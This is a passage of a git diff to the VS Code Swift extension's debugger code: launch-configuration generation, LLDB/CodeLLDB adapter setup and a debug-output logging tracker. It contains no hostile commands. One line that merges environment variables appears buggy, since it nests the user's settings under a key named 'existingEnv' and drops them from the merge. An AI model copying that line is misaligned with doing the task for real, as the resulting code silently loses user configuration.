vscode.workspace.onDidChangeConfiguration(event => { + if (event.affectsConfiguration("swift.debugger.disable")) { + subscriptions.map(sub => sub.dispose()); + subscriptions = []; + if (!configuration.debugger.disable) { + register(); + } + } + }); + + function register() { + subscriptions.push(registerLoggingDebugAdapterTracker()); + subscriptions.push(registerLLDBDebugAdapter(workspaceContext)); + } + + if (!configuration.debugger.disable) { + register(); + } + + return { + dispose: () => { + configurationEvent.dispose(); + subscriptions.map(sub => sub.dispose()); + }, + }; +} + +/** + * Registers the LLDB debug adapter with the VS Code debug adapter descriptor factory. + * @param workspaceContext The workspace context + * @returns A disposable to be disposed when the extension is deactivated + */ +function registerLLDBDebugAdapter(workspaceContext: WorkspaceContext): vscode.Disposable { + return vscode.debug.registerDebugConfigurationProvider( + SWIFT_LAUNCH_CONFIG_TYPE, + workspaceContext.launchProvider + ); +} + +/** Provide configurations for lldb-vscode/lldb-dap + * + * Converts launch configuration that user supplies into a version that the lldb-vscode/lldb-dap + * debug adapter will use. Primarily it converts the environment variables from Object + * to an array of strings in format "var=value". + * + * This could also be used to augment the configuration with values from the settings + * although it isn't at the moment. + */ +export class LLDBDebugConfigurationProvider implements vscode.DebugConfigurationProvider { + constructor( + private platform: NodeJS.Platform, + private workspaceContext: WorkspaceContext, + private logger: SwiftLogger + ) {} + + async resolveDebugConfigurationWithSubstitutedVariables( + folder: vscode.WorkspaceFolder | undefined, + launchConfig: vscode.DebugConfiguration + ): Promise { + const folderContext = this.workspaceContext.folders.find( + f => f.workspaceFolder.uri.fsPath === folder?.uri.fsPath + ); + const toolchain = folderContext?.toolchain ?? this.workspaceContext.globalToolchain; + + // "launch" requests must have either a "target" or "program" property + if ( + launchConfig.request === "launch" && + !("program" in launchConfig) && + !("target" in launchConfig) + ) { + throw new Error( + "You must specify either a 'program' or a 'target' when 'request' is set to 'launch' in a Swift debug configuration. Please update your debug configuration." + ); + } + + // Convert the "target" and "configuration" properties to a "program" + if (typeof launchConfig.target === "string") { + if ("program" in launchConfig) { + throw new Error( + `Unable to set both "target" and "program" on the same Swift debug configuration. Please remove one of them from your debug configuration.` + ); + } + const targetName = launchConfig.target; + if (!folderContext) { + throw new Error( + `Unable to resolve target "${targetName}". No Swift package is available to search within.` + ); + } + const buildConfiguration = launchConfig.configuration ?? "debug"; + if (!["debug", "release"].includes(buildConfiguration)) { + throw new Error( + `Unknown configuration property "${buildConfiguration}" in Swift debug configuration. Valid options are "debug" or "release. Please update your debug configuration.` + ); + } + launchConfig.program = await getTargetBinaryPath( + targetName, + buildConfiguration, + folderContext, + await swiftPrelaunchBuildTaskArguments(launchConfig, folderContext.workspaceFolder) + ); + delete launchConfig.target; + } + + // Fix the program path on Windows to include the ".exe" extension + if ( + this.platform === "win32" && + launchConfig.testType === undefined && + path.extname(launchConfig.program) !== ".exe" && + path.extname(launchConfig.program) !== ".xctest" + ) { + launchConfig.program += ".exe"; + } + + // Convert "pid" property from a string to a number to make the process picker work. + if ("pid" in launchConfig) { + const pid = Number.parseInt(launchConfig.pid, 10); + if (isNaN(pid)) { + return await vscode.window + .showErrorMessage( + "Failed to launch debug session", + { + modal: true, + detail: `Invalid process ID: "${launchConfig.pid}" is not a valid integer. Please update your launch configuration`, + }, + "Configure" + ) + .then(userSelection => { + if (userSelection === "Configure") { + return null; // Opens the launch configuration when returned from a DebugConfigurationProvider + } + return undefined; // Only stops the debug session from starting + }); + } + launchConfig.pid = pid; + } + + // Merge in the Swift runtime environment variables + const runtimeEnv = swiftRuntimeEnv(true); + if (runtimeEnv) { + const existingEnv = launchConfig.env ?? {}; + launchConfig.env = { ...runtimeEnv, existingEnv }; + } + + // Delegate to the appropriate debug adapter extension + launchConfig.type = DebugAdapter.getLaunchConfigType(toolchain.swiftVersion); + if (launchConfig.type === LaunchConfigType.CODE_LLDB) { + launchConfig.sourceLanguages = ["swift"]; + if (!vscode.extensions.getExtension("vadimcn.vscode-lldb")) { + if (!(await this.promptToInstallCodeLLDB())) { + return undefined; + } + } + + await this.promptForCodeLldbSettingsIfRequired(toolchain); + + // Rename lldb-dap's "terminateCommands" to "preTerminateCommands" for CodeLLDB + if ("terminateCommands" in launchConfig) { + launchConfig["preTerminateCommands"] = launchConfig["terminateCommands"]; + delete launchConfig["terminateCommands"]; + } + } else if (launchConfig.type === LaunchConfigType.LLDB_DAP) { + if (launchConfig.env) { + launchConfig.env = this.convertEnvironmentVariables(launchConfig.env); + } + const lldbDapPath = await DebugAdapter.getLLDBDebugAdapterPath(toolchain); + // Verify that the debug adapter exists or bail otherwise + if (!(await fileExists(lldbDapPath))) { + void vscode.window.showErrorMessage( + `Cannot find the LLDB debug adapter in your Swift toolchain: No such file or directory "${lldbDapPath}"` + ); + return undefined; + } + launchConfig.debugAdapterExecutable = lldbDapPath; + } + + return updateLaunchConfigForCI(launchConfig); + } + + private async promptToInstallCodeLLDB(): Promise { + const selection = await vscode.window.showErrorMessage( + "The CodeLLDB extension is required to debug with Swift toolchains prior to Swift 6.0. Please install the extension to continue.", + { modal: true }, + "Install CodeLLDB", + "View Extension" + ); + switch (selection) { + case "Install CodeLLDB": + await vscode.commands.executeCommand( + "workbench.extensions.installExtension", + "vadimcn.vscode-lldb" + ); + return true; + case "View Extension": + await vscode.commands.executeCommand( + "workbench.extensions.search", + "@id:vadimcn.vscode-lldb" + ); + await vscode.commands.executeCommand( + "workbench.extensions.action.showReleasedVersion", + "vadimcn.vscode-lldb" + ); + return false; + case undefined: + return false; + } + } + + async promptForCodeLldbSettingsIfRequired(toolchain: SwiftToolchain) { + const libLldbPathResult = await getLLDBLibPath(toolchain); + if (!libLldbPathResult.success) { + const errorMessage = `Error: ${getErrorDescription(libLldbPathResult.failure)}`; + void vscode.window.showWarningMessage( + `Failed to setup CodeLLDB for debugging of Swift code. Debugging may produce unexpected results. ${errorMessage}` + ); + this.logger.error(`Failed to setup CodeLLDB: ${errorMessage}`); + return; + } + const libLldbPath = libLldbPathResult.success; + const lldbConfig = vscode.workspace.getConfiguration("lldb"); + if ( + lldbConfig.get("library") === libLldbPath && + lldbConfig.get("launch.expressions") === "native" + ) { + return; + } + let userSelection: "Global" | "Workspace" | "Run Anyway" | undefined = undefined; + switch (configuration.debugger.setupCodeLLDB) { + case "prompt": + userSelection = await vscode.window.showInformationMessage( + "The Swift extension needs to update some CodeLLDB settings to enable debugging features. Do you want to set this up in your global settings or workspace settings?", + { modal: true }, + "Global", + "Workspace", + "Run Anyway" + ); + break; + case "alwaysUpdateGlobal": + userSelection = "Global"; + break; + case "alwaysUpdateWorkspace": + userSelection = "Workspace"; + break; + case "never": + userSelection = "Run Anyway"; + break; + } + switch (userSelection) { + case "Global": + await lldbConfig.update("library", libLldbPath, vscode.ConfigurationTarget.Global); + await lldbConfig.update( + "launch.expressions", + "native", + vscode.ConfigurationTarget.Global + ); + // clear workspace setting + await lldbConfig.update("library", undefined, vscode.ConfigurationTarget.Workspace); + // clear workspace setting + await lldbConfig.update( + "launch.expressions", + undefined, + vscode.ConfigurationTarget.Workspace + ); + break; + case "Workspace": + await lldbConfig.update( + "library", + libLldbPath, + vscode.ConfigurationTarget.Workspace + ); + await lldbConfig.update( + "launch.expressions", + "native", + vscode.ConfigurationTarget.Workspace + ); + break; + } + } + + private convertEnvironmentVariables(map: { [key: string]: string }): string[] { + return Object.entries(map).map(([key, value]) => `${key}=${value}`); + } +} diff --git a/src/debugger/launch.ts b/src/debugger/launch.ts index 9e688a686..4ab865514 100644 --- a/src/debugger/launch.ts +++ b/src/debugger/launch.ts @@ -1,322 +1,390 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021-2023 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as os from "os"; -import path = require("path"); +import * as path from "path"; +import { isDeepStrictEqual } from "util"; import * as vscode from "vscode"; -import configuration from "../configuration"; + import { FolderContext } from "../FolderContext"; -import { - buildDirectoryFromWorkspacePath, - stringArrayInEnglish, - swiftLibraryPathKey, - swiftRuntimeEnv, -} from "../utilities/utilities"; +import configuration from "../configuration"; +import { BuildFlags } from "../toolchain/BuildFlags"; +import { stringArrayInEnglish } from "../utilities/utilities"; +import { getFolderAndNameSuffix } from "./buildConfig"; +import { SWIFT_LAUNCH_CONFIG_TYPE } from "./debugAdapter"; + +/** Options used to configure {@link makeDebugConfigurations}. */ +export interface WriteLaunchConfigurationsOptions { + /** Force the generation of launch configurations regardless of user settings. */ + force?: boolean; + + /** Automatically answer yes to update dialogs. */ + yes?: boolean; +} /** * Edit launch.json based on contents of Swift Package. * Adds launch configurations based on the executables in Package.swift. * * @param ctx folder context to create launch configurations for - * @param yes automatically answer yes to dialogs + * @param options the options used to configure behavior of this function + * @returns a boolean indicating whether or not launch configurations were actually updated */ -export async function makeDebugConfigurations(ctx: FolderContext, yes = false) { - if (!configuration.autoGenerateLaunchConfigurations) { - return; +export async function makeDebugConfigurations( + ctx: FolderContext, + options: WriteLaunchConfigurationsOptions = {} +): Promise { + if ( + !options.force && + !configuration.folder(ctx.workspaceFolder).autoGenerateLaunchConfigurations + ) { + return false; } - const wsLaunchSection = vscode.workspace.getConfiguration("launch", ctx.folder); + + const wsLaunchSection = vscode.workspace.workspaceFile + ? vscode.workspace.getConfiguration("launch") + : vscode.workspace.getConfiguration("launch", ctx.folder); const launchConfigs = wsLaunchSection.get("configurations") || []; - // list of keys that can be updated in config merge - const keysToUpdate = ["program", "cwd", "preLaunchTask", `env.${swiftLibraryPathKey()}`]; - const configUpdates: { index: number; config: vscode.DebugConfiguration }[] = []; - - const configs = createExecutableConfigurations(ctx); - let edited = false; - for (const config of configs) { - const index = launchConfigs.findIndex(c => c.name === config.name); - if (index !== -1) { - // deep clone config and update with keys from calculated config - const newConfig: vscode.DebugConfiguration = JSON.parse( - JSON.stringify(launchConfigs[index]) - ); - updateConfigWithNewKeys(newConfig, config, keysToUpdate); - // if original config is different from new config - if (JSON.stringify(launchConfigs[index]) !== JSON.stringify(newConfig)) { - configUpdates.push({ index: index, config: newConfig }); - } - } else { - launchConfigs.push(config); - edited = true; + // Determine which launch configurations need updating/creating + const configsToCreate: vscode.DebugConfiguration[] = []; + const configsToUpdate: { index: number; config: vscode.DebugConfiguration }[] = []; + for (const generatedConfig of await createExecutableConfigurations(ctx)) { + const index = launchConfigs.findIndex(c => c.name === generatedConfig.name); + if (index === -1) { + configsToCreate.push(generatedConfig); + continue; + } + + // deep clone the existing config and update with keys from generated config + const config = structuredClone(launchConfigs[index]); + updateConfigWithNewKeys(config, generatedConfig, [ + "program", + "target", + "configuration", + "cwd", + "preLaunchTask", + "type", + ]); + + // Check to see if the config has changed + if (!isDeepStrictEqual(launchConfigs[index], config)) { + configsToUpdate.push({ index, config }); } } - if (configUpdates.length > 0) { - if (!yes) { + // Create/Update launch configurations if necessary + let needsUpdate = false; + if (configsToCreate.length > 0) { + launchConfigs.push(...configsToCreate); + needsUpdate = true; + } + if (configsToUpdate.length > 0) { + let answer: "Update" | "Cancel" | undefined = options.yes ? "Update" : undefined; + if (!answer) { const configUpdateNames = stringArrayInEnglish( - configUpdates.map(update => update.config.name) + configsToUpdate.map(update => update.config.name) ); - const answer = await vscode.window.showWarningMessage( - `${ctx.name}: The Swift extension would like to update launch configurations '${configUpdateNames}'. Do you want to update?`, + const warningMessage = `The Swift extension would like to update launch configurations '${configUpdateNames}'.`; + answer = await vscode.window.showWarningMessage( + `${ctx.name}: ${warningMessage} Do you want to update?`, "Update", "Cancel" ); - if (answer === "Update") { - yes = true; - } } - if (yes) { - configUpdates.forEach(update => (launchConfigs[update.index] = update.config)); - edited = true; + + if (answer === "Update") { + configsToUpdate.forEach(update => (launchConfigs[update.index] = update.config)); + needsUpdate = true; } } - if (edited) { - await wsLaunchSection.update( - "configurations", - launchConfigs, - vscode.ConfigurationTarget.WorkspaceFolder + if (!needsUpdate) { + return false; + } + + await wsLaunchSection.update( + "configurations", + launchConfigs, + vscode.workspace.workspaceFile + ? vscode.ConfigurationTarget.Workspace + : vscode.ConfigurationTarget.WorkspaceFolder + ); + return true; +} + +export async function getTargetBinaryPath( + targetName: string, + buildConfiguration: "debug" | "release", + folderCtx: FolderContext, + extraArgs: string[] = [] +): Promise { + try { + // Use dynamic path resolution with --show-bin-path + const binPath = await folderCtx.toolchain.buildFlags.getBuildBinaryPath( + folderCtx.folder.fsPath, + buildConfiguration, + folderCtx.workspaceContext.logger, + "", + extraArgs ); + return path.join(binPath, targetName); + } catch (error) { + // Fallback to traditional path construction if dynamic resolution fails + return getLegacyTargetBinaryPath(targetName, buildConfiguration, folderCtx); } } -// Return array of DebugConfigurations for executables based on what is in Package.swift -function createExecutableConfigurations(ctx: FolderContext): vscode.DebugConfiguration[] { - const executableProducts = ctx.swiftPackage.executableProducts; - let folder: string; - let nameSuffix: string; - if (ctx.relativePath.length === 0) { - folder = `\${workspaceFolder:${ctx.workspaceFolder.name}}`; - nameSuffix = ""; - } else { - folder = `\${workspaceFolder:${ctx.workspaceFolder.name}}/${ctx.relativePath}`; - nameSuffix = ` (${ctx.relativePath})`; +export function getLegacyTargetBinaryPath( + targetName: string, + buildConfiguration: "debug" | "release", + folderCtx: FolderContext +): string { + return path.join( + BuildFlags.buildDirectoryFromWorkspacePath(folderCtx.folder.fsPath, true), + buildConfiguration, + targetName + ); +} + +/** Expands VS Code variables such as ${workspaceFolder} in the given string. */ +function expandVariables(str: string): string { + let expandedStr = str; + const availableWorkspaceFolders = vscode.workspace.workspaceFolders ?? []; + // Expand the top level VS Code workspace folder. + if (availableWorkspaceFolders.length > 0) { + expandedStr = expandedStr.replaceAll( + "${workspaceFolder}", + availableWorkspaceFolders[0].uri.fsPath + ); } - let buildDirectory = buildDirectoryFromWorkspacePath(folder); - if (!path.isAbsolute(buildDirectory)) { - buildDirectory = path.join(folder, buildDirectory); + // Expand each available VS Code workspace folder. + for (const workspaceFolder of availableWorkspaceFolders) { + expandedStr = expandedStr.replaceAll( + `$\{workspaceFolder:${workspaceFolder.name}}`, + workspaceFolder.uri.fsPath + ); } + return expandedStr; +} + +// Return debug launch configuration for an executable in the given folder +export async function getLaunchConfiguration( + target: string, + buildConfiguration: "debug" | "release", + folderCtx: FolderContext +): Promise { + const wsLaunchSection = vscode.workspace.workspaceFile + ? vscode.workspace.getConfiguration("launch") + : vscode.workspace.getConfiguration("launch", folderCtx.workspaceFolder); + const launchConfigs = wsLaunchSection.get("configurations") || []; + const targetPath = await getTargetBinaryPath(target, buildConfiguration, folderCtx); + const legacyTargetPath = getLegacyTargetBinaryPath(target, buildConfiguration, folderCtx); + return launchConfigs.find(config => { + // Newer launch configs use "target" and "configuration" properties which are easier to query. + if (config.target) { + const configBuildConfiguration = config.configuration ?? "debug"; + return config.target === target && configBuildConfiguration === buildConfiguration; + } + // Users could be on different platforms with different path annotations, so normalize before we compare. + const normalizedConfigPath = path.normalize(expandVariables(config.program)); + const normalizedTargetPath = path.normalize(targetPath); + const normalizedLegacyTargetPath = path.normalize(legacyTargetPath); + // Old launch configs had program paths that looked like "${workspaceFolder:test}/defaultPackage/.build/debug", + // where `debug` was a symlink to the /debug. We want to support both old and new, so we're + // comparing against both to find a match. + return [normalizedTargetPath, normalizedLegacyTargetPath].includes(normalizedConfigPath); + }); +} + +// Return array of DebugConfigurations for executables based on what is in Package.swift +async function createExecutableConfigurations( + ctx: FolderContext +): Promise { + const executableProducts = await ctx.swiftPackage.executableProducts; + + // Windows understand the forward slashes, so make the configuration unified as posix path + // to make it easier for users switching between platforms. + const { folder, nameSuffix } = getFolderAndNameSuffix(ctx, undefined, "posix"); + return executableProducts.flatMap(product => { + const baseConfig = { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + args: [], + cwd: folder, + }; return [ { - type: "lldb", - request: "launch", + ...baseConfig, name: `Debug ${product.name}${nameSuffix}`, - program: `${buildDirectory}/debug/` + product.name, - args: [], - cwd: folder, + target: product.name, + configuration: "debug", preLaunchTask: `swift: Build Debug ${product.name}${nameSuffix}`, - env: swiftRuntimeEnv(true), }, { - type: "lldb", - request: "launch", + ...baseConfig, name: `Release ${product.name}${nameSuffix}`, - program: `${buildDirectory}/release/` + product.name, - args: [], - cwd: folder, + target: product.name, + configuration: "release", preLaunchTask: `swift: Build Release ${product.name}${nameSuffix}`, - env: swiftRuntimeEnv(true), }, ]; }); } /** - * Return array of DebugConfigurations for tests based on what is in Package.swift - * @param ctx Folder context - * @param fullPath should we return configuration with full paths instead of environment vars - * @returns debug configuration + * Create Debug configuration for running a Swift Snippet + * @param snippetName Name of Swift Snippet to run + * @param ctx Folder context for project + * @returns Debug configuration for running Swift Snippet */ -export function createTestConfiguration( - ctx: FolderContext, - fullPath = false -): vscode.DebugConfiguration | null { - if (ctx.swiftPackage.getTargets("test").length === 0) { - return null; - } - const workspaceFolder = fullPath - ? ctx.workspaceFolder.uri.fsPath - : `\${workspaceFolder:${ctx.workspaceFolder.name}}`; - - let folder: string; - let nameSuffix: string; - if (ctx.relativePath.length === 0) { - folder = workspaceFolder; - nameSuffix = ""; - } else { - folder = `${workspaceFolder}/${ctx.relativePath}`; - nameSuffix = ` (${ctx.relativePath})`; - } - // respect user configuration if conflicts with injected runtime path - const testEnv = { - ...swiftRuntimeEnv(), - ...configuration.testEnvironmentVariables, - }; - - let buildDirectory = buildDirectoryFromWorkspacePath(folder); - if (!path.isAbsolute(buildDirectory)) { - buildDirectory = path.join(folder, buildDirectory); - } - if (process.platform === "darwin") { - // On macOS, find the path to xctest - // and point it at the .xctest bundle from the configured build directory. - const xctestPath = ctx.workspaceContext.toolchain.xcTestPath; - if (xctestPath === undefined) { - return null; - } - return { - type: "lldb", - request: "launch", - name: `Test ${ctx.swiftPackage.name}`, - program: `${xctestPath}/xctest`, - args: [`${buildDirectory}/debug/${ctx.swiftPackage.name}PackageTests.xctest`], - cwd: folder, - env: testEnv, - preLaunchTask: `swift: Build All${nameSuffix}`, - }; - } else if (process.platform === "win32") { - // On Windows, add XCTest.dll to the Path - // and run the .xctest executable from the .build directory. - const runtimePath = ctx.workspaceContext.toolchain.runtimePath; - const xcTestPath = ctx.workspaceContext.toolchain.xcTestPath; - if (xcTestPath === undefined) { - return null; - } - if (xcTestPath !== runtimePath) { - testEnv.Path = `${xcTestPath};${testEnv.Path ?? process.env.Path}`; - } - const sdkroot = configuration.sdk === "" ? process.env.SDKROOT : configuration.sdk; - if (sdkroot === undefined) { - return null; - } - let preRunCommands: string[] | undefined; - if (vscode.workspace.getConfiguration("lldb")?.get("library")) { - preRunCommands = [`settings set target.sdk-path ${sdkroot}`]; - } +export async function createSnippetConfiguration( + snippetName: string, + ctx: FolderContext +): Promise { + const { folder } = getFolderAndNameSuffix(ctx); + + try { + // Use dynamic path resolution with --show-bin-path + const binPath = await ctx.toolchain.buildFlags.getBuildBinaryPath( + ctx.folder.fsPath, + "debug", + ctx.workspaceContext.logger, + "snippet" + ); + return { - type: "lldb", + type: SWIFT_LAUNCH_CONFIG_TYPE, request: "launch", - name: `Test ${ctx.swiftPackage.name}`, - program: `${buildDirectory}/debug/${ctx.swiftPackage.name}PackageTests.xctest`, + name: `Run ${snippetName}`, + program: path.posix.join(binPath, snippetName), + args: [], cwd: folder, - env: testEnv, - preRunCommands: preRunCommands, - preLaunchTask: `swift: Build All${nameSuffix}`, + runType: "snippet", }; - } else { - // On Linux, just run the .xctest executable from the configured build directory. + } catch (error) { + // Fallback to traditional path construction if dynamic resolution fails + const buildDirectory = BuildFlags.buildDirectoryFromWorkspacePath(folder, true); + return { - type: "lldb", + type: SWIFT_LAUNCH_CONFIG_TYPE, request: "launch", - name: `Test ${ctx.swiftPackage.name}`, - program: `${buildDirectory}/debug/${ctx.swiftPackage.name}PackageTests.xctest`, + name: `Run ${snippetName}`, + program: path.posix.join(buildDirectory, "debug", snippetName), + args: [], cwd: folder, - env: testEnv, - preLaunchTask: `swift: Build All${nameSuffix}`, + runType: "snippet", }; } } -/** Return custom Darwin test configuration that works with Swift 5.6 */ -export function createDarwinTestConfiguration( - ctx: FolderContext, - args: string, - outputFile: string -): vscode.DebugConfiguration | null { - if (ctx.swiftPackage.getTargets("test").length === 0) { - return null; - } - if (process.platform !== "darwin") { - return null; - } - - let folder: string; - let nameSuffix: string; - if (ctx.relativePath.length === 0) { - folder = `\${workspaceFolder:${ctx.workspaceFolder.name}}`; - nameSuffix = ""; - } else { - folder = `\${workspaceFolder:${ctx.workspaceFolder.name}}/${ctx.relativePath}`; - nameSuffix = ` (${ctx.relativePath})`; - } - const buildDirectory = buildDirectoryFromWorkspacePath(folder); - // On macOS, find the path to xctest - // and point it at the .xctest bundle from the configured build directory. - const xctestPath = ctx.workspaceContext.toolchain.xcTestPath; - if (xctestPath === undefined) { - return null; - } - let arch: string; - switch (os.arch()) { - case "x64": - arch = "x86_64"; - break; - case "arm64": - arch = "arm64e"; - break; - default: - return null; - } - const envCommands = Object.entries({ - ...swiftRuntimeEnv(), - ...configuration.testEnvironmentVariables, - }).map(([key, value]) => `settings set target.env-vars ${key}="${value}"`); - - return { - type: "lldb", - request: "custom", - name: `Test ${ctx.swiftPackage.name}`, - targetCreateCommands: [`file -a ${arch} ${xctestPath}/xctest`], - processCreateCommands: [ - ...envCommands, - `process launch -e ${outputFile} -w ${folder} -- ${args} ${buildDirectory}/debug/${ctx.swiftPackage.name}PackageTests.xctest`, - ], - preLaunchTask: `swift: Build All${nameSuffix}`, - }; +/** + * Run debugger for given configuration + * @param config Debug configuration + * @param workspaceFolder Workspace to run debugger in + */ +export async function debugLaunchConfig( + workspaceFolder: vscode.WorkspaceFolder | undefined, + config: vscode.DebugConfiguration, + options: vscode.DebugSessionOptions = {} +) { + return new Promise((resolve, reject) => { + vscode.debug.startDebugging(workspaceFolder, config, options).then( + started => { + if (started) { + const terminateSession = vscode.debug.onDidTerminateDebugSession(async () => { + // dispose terminate debug handler + terminateSession.dispose(); + resolve(true); + }); + } else { + resolve(false); + } + }, + reason => { + reject(reason); + } + ); + }); } -/** Return the base configuration with (nested) keys updated with the new one. */ +/** Update the provided debug configuration with keys from a newly generated configuration. */ function updateConfigWithNewKeys( - baseConfiguration: vscode.DebugConfiguration, - newConfiguration: vscode.DebugConfiguration, + oldConfig: vscode.DebugConfiguration, + newConfig: vscode.DebugConfiguration, keys: string[] ) { - keys.forEach(key => { - // We're manually handling `undefined`s during nested update, so even if the depth - // is restricted to 2, the implementation still looks a bit messy. - if (key.includes(".")) { - const [mainKey, subKey] = key.split(".", 2); - if (baseConfiguration[mainKey] === undefined) { - // { mainKey: unknown | undefined } -> { mainKey: undefined } - baseConfiguration[mainKey] = newConfiguration[mainKey]; - } else if (newConfiguration[mainKey] === undefined) { - const subKeys = Object.keys(baseConfiguration[mainKey]); - if (subKeys.length === 1 && subKeys[0] === subKey) { - // { mainKey: undefined } -> { mainKey: { subKey: unknown } } - baseConfiguration[mainKey] = undefined; - } else { - // { mainKey: undefined } -> { mainKey: { subKey: unknown | undefined, ... } } - baseConfiguration[mainKey][subKey] = undefined; - } - } else { - // { mainKey: { subKey: unknown | undefined } } -> { mainKey: { subKey: unknown | undefined, ... } } - baseConfiguration[mainKey][subKey] = newConfiguration[mainKey][subKey]; + for (const key of keys) { + if (newConfig[key] === undefined) { + delete oldConfig[key]; + continue; + } + oldConfig[key] = newConfig[key]; + } +} + +/** + * Get the arguments for a launch configuration's preLaunchTask if it's a Swift build task + * @param launchConfig The launch configuration to check + * @param workspaceFolder The workspace folder context (optional) + * @returns Promise the task arguments if it's a Swift build task, undefined otherwise + */ +export async function swiftPrelaunchBuildTaskArguments( + launchConfig: vscode.DebugConfiguration, + workspaceFolder?: vscode.WorkspaceFolder +): Promise { + const preLaunchTask = launchConfig.preLaunchTask; + + if (!preLaunchTask || typeof preLaunchTask !== "string") { + return undefined; + } + + try { + // Fetch all available tasks + const allTasks = await vscode.tasks.fetchTasks(); + + // Find the task by name + const task = allTasks.find(t => { + // Check if task name matches (with or without "swift: " prefix) + const taskName = t.name; + const matches = + taskName === preLaunchTask || + taskName === `swift: ${preLaunchTask}` || + `swift: ${taskName}` === preLaunchTask; + + // If workspace folder is specified, also check scope + if (workspaceFolder && matches) { + return t.scope === workspaceFolder || t.scope === vscode.TaskScope.Workspace; } - } else { - // { key: unknown | undefined } -> { key: unknown | undefined, ... } - baseConfiguration[key] = newConfiguration[key]; + + return matches; + }); + + if (!task) { + return undefined; } - }); + + // Check if task type is "swift" + if (task.definition.type !== "swift") { + return undefined; + } + + // Check if args contain "build" + const args = (task.definition.args as string[]) || []; + const hasBuild = args.includes("build"); + return hasBuild ? args : undefined; + } catch (error) { + // Log error but don't throw - return undefined for safety + return undefined; + } } diff --git a/src/debugger/lldb.ts b/src/debugger/lldb.ts index 78ac826db..0a3cf6d80 100644 --- a/src/debugger/lldb.ts +++ b/src/debugger/lldb.ts @@ -1,33 +1,57 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - // Based on code taken from CodeLLDB https://github.com/vadimcn/vscode-lldb/ // LICENSED with MIT License - -import * as path from "path"; import * as fs from "fs/promises"; -import { execFile } from "../utilities/utilities"; -import { Result } from "../utilities/result"; +import * as path from "path"; +import * as vscode from "vscode"; + import { SwiftToolchain } from "../toolchain/toolchain"; +import { Result } from "../utilities/result"; +import { IS_RUNNING_UNDER_TEST, execFile } from "../utilities/utilities"; + +/** + * Updates the provided debug configuration to be compatible with running in CI. + * + * Will be optimized out of production builds. + */ +export function updateLaunchConfigForCI( + config: vscode.DebugConfiguration +): vscode.DebugConfiguration { + if (!IS_RUNNING_UNDER_TEST) { + return config; + } + + const result = structuredClone(config); + // Tell LLDB not to disable ASLR when running in Docker CI https://stackoverflow.com/a/78471987 + result.disableASLR = false; + result.initCommands = ["settings set target.disable-aslr false"]; + return result; +} /** - * Get LLDB library for given LLDB executable - * @param executable LLDB executable + * Get the path to the LLDB library. + * * @returns Library path for LLDB */ export async function getLLDBLibPath(toolchain: SwiftToolchain): Promise> { - const executable = path.join(toolchain.swiftFolderPath, "lldb"); + let executable: string; + try { + executable = await toolchain.getLLDB(); + } catch (error) { + return Result.makeFailure(error); + } let pathHint = path.dirname(toolchain.swiftFolderPath); try { const statement = `print('')`; @@ -55,7 +79,7 @@ export async function getLLDBLibPath(toolchain: SwiftToolchain): Promise { +export async function findLibLLDB(pathHint: string): Promise { const stat = await fs.stat(pathHint); if (stat.isFile()) { return pathHint; @@ -85,7 +109,7 @@ async function findLibLLDB(pathHint: string): Promise { return undefined; } -async function findFileByPattern(path: string, pattern: RegExp): Promise { +export async function findFileByPattern(path: string, pattern: RegExp): Promise { try { const files = await fs.readdir(path); for (const file of files) { diff --git a/src/debugger/logTracker.ts b/src/debugger/logTracker.ts new file mode 100644 index 000000000..5b34b9c27 --- /dev/null +++ b/src/debugger/logTracker.ts @@ -0,0 +1,141 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2023 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { SwiftLogger } from "../logging/SwiftLogger"; +import { LaunchConfigType } from "./debugAdapter"; + +/** + * Factory class for building LoggingDebugAdapterTracker + */ +export class LoggingDebugAdapterTrackerFactory implements vscode.DebugAdapterTrackerFactory { + createDebugAdapterTracker( + session: vscode.DebugSession + ): vscode.ProviderResult { + return new LoggingDebugAdapterTracker(session.id); + } +} + +interface OutputEventBody { + category: string; + output: string; + exitCode: number | undefined; +} + +interface DebugMessage { + seq: number; + type: string; + event: string; + body: OutputEventBody; +} + +/** + * Register the LoggingDebugAdapterTrackerFactory with the VS Code debug adapter tracker + * @returns A disposable to be disposed when the extension is deactivated + */ +export function registerLoggingDebugAdapterTracker(): vscode.Disposable { + // Register the factory for both lldb-dap and CodeLLDB since either could be used when + // resolving a Swift launch configuration. + const trackerFactory = new LoggingDebugAdapterTrackerFactory(); + const subscriptions: vscode.Disposable[] = [ + vscode.debug.registerDebugAdapterTrackerFactory(LaunchConfigType.CODE_LLDB, trackerFactory), + vscode.debug.registerDebugAdapterTrackerFactory(LaunchConfigType.LLDB_DAP, trackerFactory), + ]; + + // Return a disposable that cleans everything up. + return { + dispose() { + subscriptions.forEach(sub => sub.dispose()); + }, + }; +} + +/** + * Debug Adapter tracker that tracks debugger output to stdout and stderr and returns it + */ +export class LoggingDebugAdapterTracker implements vscode.DebugAdapterTracker { + // keep a track of the logging debug trackers, so we can set the callback later on + private static debugSessionIdMap: { [id: string]: LoggingDebugAdapterTracker } = {}; + + private cb?: (output: string) => void; + private exitHandler?: (exitCode: number) => void; + private output: string[] = []; + private exitCode: number | undefined; + + constructor(public id: string) { + LoggingDebugAdapterTracker.debugSessionIdMap[id] = this; + } + + static setDebugSessionCallback( + session: vscode.DebugSession, + logger: SwiftLogger, + cb: (log: string) => void, + exitHandler: (exitCode: 